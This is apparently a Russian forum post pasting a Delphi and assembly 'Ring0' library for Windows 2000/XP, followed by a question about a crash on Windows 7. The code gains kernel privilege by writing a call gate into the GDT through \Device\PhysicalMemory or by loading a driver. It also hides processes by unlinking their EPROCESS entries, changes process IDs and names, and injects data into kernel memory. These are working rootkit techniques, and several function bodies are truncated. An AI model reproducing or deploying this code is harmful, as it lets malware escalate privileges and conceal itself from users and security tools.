GateType: dword; KernelBase : dword; // адрес ядра в памяти dKernelBase: dword; // адрес ядра подгруженного в User Space hPhysMem: dword; // хэндл секции \Device\PhysicalMemory hDriver: dword;
UndocData : packed record {00} BaseProcStrAdr : dword; // адрес первой EPROCESS {04} ActivePsListOffset: dword; // смещение ActivePsList в EPROCESS {08} PidOffset: dword; // смещение ProcessID в EPROCESS {0C} NameOffset: dword; // смещение ImageName в EPROCESS {10} ppIdOffset: dword; // смещение ParrentPid в EPROCESS {14} ImgNameOffset: dword; // смещение ImageFileName в EPROCESS end;
{ перезагрузка регистра FS и вызов Ring0 кода } procedure Ring0CallProc; asm cli pushad pushfd mov di, $30 mov fs, di call Ring0ProcAdr mov di, $3B mov fs, di popfd popad sti retf end;
{ Открытие физической памяти } function OpenPhysicalMemory(mAccess: dword): THandle; var PhysMemString: TUnicodeString; Attr: TObjectAttributes; OldAcl, NewAcl: PACL; SD: PSECURITY_DESCRIPTOR; Access: EXPLICIT_ACCESS; mHandle: dword;
begin Result := 0; RtlInitUnicodeString(@PhysMemString, MemDeviceName);
InitializeObjectAttributes(@Attr, @PhysMemString, OBJ_CASE_INSENSITIVE or OBJ_KERNEL_HANDLE, 0, nil);
if ZwOpenSection(@mHandle, READ_CONTROL or WRITE_DAC , @Attr) <> STATUS_SUCCESS then Exit;
if GetSecurityInfo(mHandle, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, @OldAcl, nil, SD) <> ERROR_SUCCESS then Exit; with Access do begin grfAccessPermissions := mAccess; grfAccessMode := GRANT_ACCESS; grfInheritance := NO_INHERITANCE; Trustee.pMultipleTrustee := nil; Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE; Trustee.TrusteeForm := TRUSTEE_IS_NAME; Trustee.TrusteeType := TRUSTEE_IS_USER; Trustee.ptstrName := 'CURRENT_USER'; end;
{ Получение физического адреса из виртуального. Действительно только для Nonpaged Memory. } function QuasiMmGetPhysicalAddress(VirtualAddress: dword; var Offset: dword): dword; begin Offset := VirtualAddress and $FFF; if (VirtualAddress > $80000000) and (VirtualAddress < $A0000000) then Result := VirtualAddress and $1ffff000 else Result := VirtualAddress and $fff000; end;
{ установка калгейта } Function InstallCallgate(hPhysMem: dword): boolean; var gdt: TGDTInfo; offset, base_address: DWORD; begin Result := false; if hPhysMem = 0 then Exit; asm sgdt [gdt] end; base_address := QuasiMmGetPhysicalAddress(gdt.Base, offset); ptrGDT := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE, 0, base_address, gdt.limit + offset); if ptrGDT = nil then Exit; CurrentGate := PGateDescriptor(DWORD(ptrGDT) + offset); repeat CurrentGate := PGateDescriptor(DWORD(CurrentGate) + SizeOf(TGateDescriptor)); if (CurrentGate.Attributes and $FF00) = 0 then begin OldGate := CurrentGate^; CurrentGate.Selector := $08; // ring0 code selector CurrentGate.OffsetLo := DWORD(@Ring0CallProc); CurrentGate.OffsetHi := DWORD(@Ring0CallProc) shr 16; CurrentGate.Attributes := $EC00; FarCall.Offset := 0; FarCall.Selector := DWORD(CurrentGate) - DWORD(ptrGDT) - offset; Break; end; until DWORD(CurrentGate) >= DWORD(ptrGDT) + gdt.limit + offset; FlushViewOfFile(CurrentGate, SizeOf(TGateDescriptor)); Result := true; end;
{ Получение виртуального адреса для модуля загруженного в системное адресное пространство. } function GetKernelModuleAddress(pModuleName: PChar): dword; var Info: PSYSTEM_MODULE_INFORMATION_EX; R: dword; begin Result := 0; Info := GetInfoTable(SystemModuleInformation); for r := 0 to Info^.ModulesCount do if lstrcmpi(PChar(dword(@Info^.Modules[r].ImageName) + Info^.Modules[r].ModuleNameOffset), pModuleName) = 0 then begin Result := dword(Info^.Modules[r].Base); break; end; VirtualFree(Info, 0, MEM_RELEASE); end;
{ Получение физического адреса по виртуальному. Действительно для любых регионов памяти. } Function GetPhysicalAddress(VirtualAddress: dword): LARGE_INTEGER; stdcall; var Data : packed record VirtualAddress: dword; Result: LARGE_INTEGER; end;
begin Data.VirtualAddress := VirtualAddress; CallRing0(@Ring0Call, @Data); Result.QuadPart := Data.Result.QuadPart; end;
{ Отображение участка виртуальной памяти в текушем процессе через физическую память. } function MapVirtualMemory(vAddress: pointer; Size: dword): pointer; var MappedAddress: LARGE_INTEGER; begin Result := nil; MappedAddress := GetPhysicalAddress(dword(vAddress)); if MappedAddress.QuadPart = 0 then Exit; Result := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE, 0, MappedAddress.LowPart, Size); end;
{ Копирование участка памяти из 0 кольца. Можно работать с памятью ядра. ВНИМАНИЕ! некорректная запись в память ядра приведет к падению системы! } Procedure Ring0CopyMemory(Source, Destination: pointer; Size: dword); var Data : packed record Src: pointer; Dst: pointer; Size: dword; end;
{ Получение адреса ядерной API в системном адресном пространстве. } Function GetKernelProcAddress(lpProcName: PChar): dword; var uProc: dword; begin uProc := dword(GetProcAddress(dKernelBase, lpProcName)); if uProc > 0 then Result := (uProc - dKernelBase) + KernelBase else Result := 0; end;
{ получение указателя на структуру EPROCESS для System } function GetSystemEPROCESS(): dword; var Data: packed record UndocAdr: pointer; Result: dword; end;
begin Data.UndocAdr := @UndocData; CallRing0(@Ring0Call, @Data); Result := Data.Result; end;
{ создание записи о драйвере в реестре. } Procedure InstallDriver(); var Key, Key2: HKEY; Pth: PChar; dType: dword; Image: array [0..MAX_PATH] of Char; begin lstrcpy(Image, '\??\'); GetFullPathName('Ring0Port.sys', MAX_PATH, PChar(dword(@Image) + 4), Pth); dType := 1; RegOpenKey(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key); RegCreateKey(Key, 'KernelPort', Key2); RegSetValueEx(Key2, 'ImagePath', 0, REG_SZ, @Image, lstrlen(Image)); RegSetValueEx(Key2, 'Type', 0, REG_DWORD, @dType, SizeOf(dword)); RegCloseKey(Key2); RegCloseKey(Key); end;
{ удалние из реестра записи о драйвере. } Procedure UninstallDriver(); var Key: HKEY; begin RegOpenKey(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key); RegDeleteKey(Key, 'KernelPort'); RegCloseKey(Key); end;
{ загрузка драйвера и открытие его устройства. } Function OpenDriver(): THandle; var Image: TUnicodeString; begin InstallDriver(); RtlInitUnicodeString(@Image, Driver); ZwLoadDriver(@Image); Result := CreateFile('\\.\Ring0Port', GENERIC_WRITE, 0, nil, OPEN_EXISTING, 0, 0); end;
{ открытие памяти и установка калгейта. } Function InitializeCallGate(): boolean; begin Result := false; hPhysMem := OpenPhysicalMemory(SECTION_MAP_READ or SECTION_MAP_WRITE); if hPhysMem = 0 then Exit; Result := InstallCallgate(hPhysMem); end;
function InitializeDriverGate(): boolean; begin hDriver := OpenDriver(); Result := hDriver <> INVALID_HANDLE_VALUE; end;
{ Инициализация Ring0 библиотеки. } function InitialzeRing0Library(Ring0GateType: dword): boolean; var Version: TOSVersionInfo; begin Result := false;
Version.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); GetVersionEx(Version); if Version.dwMajorVersion <> 5 then Exit; case Version.dwBuildNumber of 2195 : begin // Windows 2000 UndocData.ActivePsListOffset := $0A0; UndocData.PidOffset := $09C; UndocData.NameOffset := $1FC; UndocData.ppIdOffset := $1C8; UndocData.ImgNameOffset := $000; end; 2600 : begin // Windows XP UndocData.ActivePsListOffset := $088; UndocData.PidOffset := $084; UndocData.NameOffset := $174; UndocData.ppIdOffset := $14C; UndocData.ImgNameOffset := $1F4; end; else Exit; end;
case GateType of CALL_GATE : Result := InitializeCallGate(); DRIVER_GATE : Result := InitializeDriverGate(); end; if Result then UndocData.BaseProcStrAdr := GetSystemEPROCESS(); end;
Procedure FreeDriver(); var Image: TUnicodeString; begin CloseHandle(hDriver); RtlInitUnicodeString(@Image, Driver); ZwUnloadDriver(@Image); UninstallDriver(); end;
{ Освобождение ресурсов библиотеки } Procedure FreeRing0Library(); begin case GateType of CALL_GATE : begin UninstallCallgate(); CloseHandle(hPhysMem); end; DRIVER_GATE : FreeDriver(); end; FreeLibrary(dKernelBase); end;
{ Получение по ProcessId указателя на струкруру ядра EPROCESS связанную с данным процессом. } Function GetEPROCESSAdr(ProcessId: dword): dword; var Data: packed record UndocAdr: pointer; ProcessId: dword; Result: dword; end;
@Find: mov edx, [eax + edi] //ActivePs.Pid cmp edx, ecx //compare process id jz @Found mov eax, [eax + esi] // ActivePsList.Flink sub eax, esi //sub ActivePsListOffset cmp eax, [ebx] //final jz @End jmp @Find
@Found: pop edx mov [edx + $08], eax //save result ret @End: pop edx mov [edx + $08], 0 ret end;
begin Data.UndocAdr := @UndocData; Data.ProcessId := ProcessId; CallRing0(@Ring0Call, @Data); Result := Data.Result; end;
{ Скрытие процесса по указателю на структуру ядра EPROCESS. Неправильный указатель может привести к краху системы! } Procedure HideProcessEx(pEPROCESS: dword); var Data: packed record UndocAdr: pointer; pEPROCESS: dword; end;
begin if pEPROCESS = 0 then Exit; Data.UndocAdr := @UndocData; Data.pEPROCESS := pEPROCESS; CallRing0(@Ring0Call, @Data); end;
{ Скрытие процесса по ProcessId. В случае удачи возвращает указатель на EPROCESS, иначе 0. } function HideProcess(ProcessId: dword): dword; var OldPriority: dword; begin OldPriority := GetThreadPriority($FFFFFFFE); SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL); Result := GetEPROCESSAdr(ProcessId); HideProcessEx(Result); SetThreadPriority($FFFFFFFE, OldPriority); end;
{ Восстановление процесса в списке процессов по указателю на EPROCESS. } Procedure ShowProcess(pEPROCESS: dword); var Data: packed record UndocAdr: pointer; pEPROCESS: dword; end;
begin if pEPROCESS = 0 then Exit; Data.UndocAdr := @UndocData; Data.pEPROCESS := pEPROCESS; CallRing0(@Ring0Call, @Data); end;
{ Получение списка процессов прямым доступом к структурам ядра. } function GetProcesses(): PSYS_PROCESSES; var Eprocess: array [0..$600] of byte; CurrentStruct: dword; CurrSize: dword; OldPriority: dword; begin CurrSize := SizeOf(TSYS_PROCESSES); GetMem(Result, CurrSize); ZeroMemory(Result, CurrSize); ZeroMemory(@Eprocess, $600); CurrentStruct := UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset; OldPriority := GetThreadPriority($FFFFFFFE); SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL); repeat CurrentStruct := CurrentStruct - UndocData.ActivePsListOffset; Ring0CopyMemory(pointer(CurrentStruct), @Eprocess, $220); if pdword(dword(@Eprocess) + UndocData.ppIdOffset)^ > 0 then begin Inc(CurrSize, SizeOf(TPROCESS)); ReallocMem(Result, CurrSize); Result^.Process[Result^.ProcessesCount].ProcessId := pdword(dword(@Eprocess) + UndocData.PidOffset)^; Result^.Process[Result^.ProcessesCount].pEPROCESS := CurrentStruct; lstrcpyn(@Result^.Process[Result^.ProcessesCount].ImageName, PChar(dword(@Eprocess) + UndocData.NameOffset), 16); Result^.Process[Result^.ProcessesCount].ParrentPid := pdword(dword(@Eprocess) + UndocData.ppIdOffset)^;
Inc(Result^.ProcessesCount); end; CurrentStruct := pdword(dword(@Eprocess) + UndocData.ActivePsListOffset)^; if CurrentStruct < $80000000 then break; until CurrentStruct = UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset; SetThreadPriority($FFFFFFFE, OldPriority); end;
{ Смена Id процесса по указателю на EPROCESS. } Procedure ChangeProcessIdEx(pEPROCESS: dword; NewPid: dword); var Data: packed record UndocAdr: pointer; pEPROCESS: dword; NewId: dword; end;
Procedure Ring0Call; asm push eax mov eax, [eax + $04] push eax call AdrMmIsValid test eax, eax jz @Exit pop eax mov ebx, [eax] mov esi, [eax + $04] // pEPROCESS add esi, [ebx + $08] // @pEPROCESS.ProcessId mov eax, [eax + $08] // NewId mov [esi], eax ret @Exit: pop eax ret end;
begin if pEPROCESS = 0 then Exit; Data.UndocAdr := @UndocData; Data.pEPROCESS := pEPROCESS; Data.NewId := NewPid; CallRing0(@Ring0Call, @Data); end;
{ Смена Id процесса. } Procedure ChangeProcessId(OldPid: dword; NewPid: dword); var OldPriority: dword; pEPROCESS : dword; begin OldPriority := GetThreadPriority($FFFFFFFE); SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL); pEPROCESS := GetEPROCESSAdr(OldPid); ChangeProcessIdEx(pEPROCESS, NewPid); SetThreadPriority($FFFFFFFE, OldPriority); end;
{ Смена имени процесса по указателю на его EPROCESS. } Procedure ChangeProcessNameEx(pEPROCESS: dword; NewName: PChar); var Data: packed record {00} UndocAdr: pointer; {04} pEPROCESS: dword; {08} NewName: array [0..15] of Char; {18} UnicName: array [0..15] of WideChar; {38} UnicLength: word; end;
begin if pEPROCESS = 0 then Exit; Data.UndocAdr := @UndocData; Data.pEPROCESS := pEPROCESS; lstrcpyn(Data.NewName, NewName, 16); StringToWideChar(NewName, @Data.UnicName, 16); Data.UnicLength := lstrlen(NewName); CallRing0(@Ring0Call, @Data); end;
{ Смена имени процесса. } Procedure ChangeProcessName(ProcessId: dword; NewName: PChar); var OldPriority: dword; pEPROCESS : dword; begin OldPriority := GetThreadPriority($FFFFFFFE); SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL); pEPROCESS := GetEPROCESSAdr(ProcessId); ChangeProcessNameEx(pEPROCESS, NewName); SetThreadPriority($FFFFFFFE, OldPriority); end;
{ Выделение участка памяти в NonPaged Pool и копирование в него данных. Mem - адрес участка памяти, Size - размер участка памяти, Result - адрес памяти в SystemSpace } function InjectDataToSystemMemory(Mem: pointer; Size: dword): dword; var Data: packed record Mem: pointer; Size: dword; Result: dword; end;
{ Разрешение / запркщение использования карты ввода - вывода для процесса. } Procedure SetIoAccessProcessEx(pEPROCESS: dword; Access: boolean); var Data : packed record pEPROCESS: dword; Access: dword; end;
Ккомпилил код, все запустилось, однако на 7к при запуске происходит падение на этой строке db $0ff, $01d // call far [FarCall]. На васме последний комментарий с такой же проблемой, на него так и не ответили.
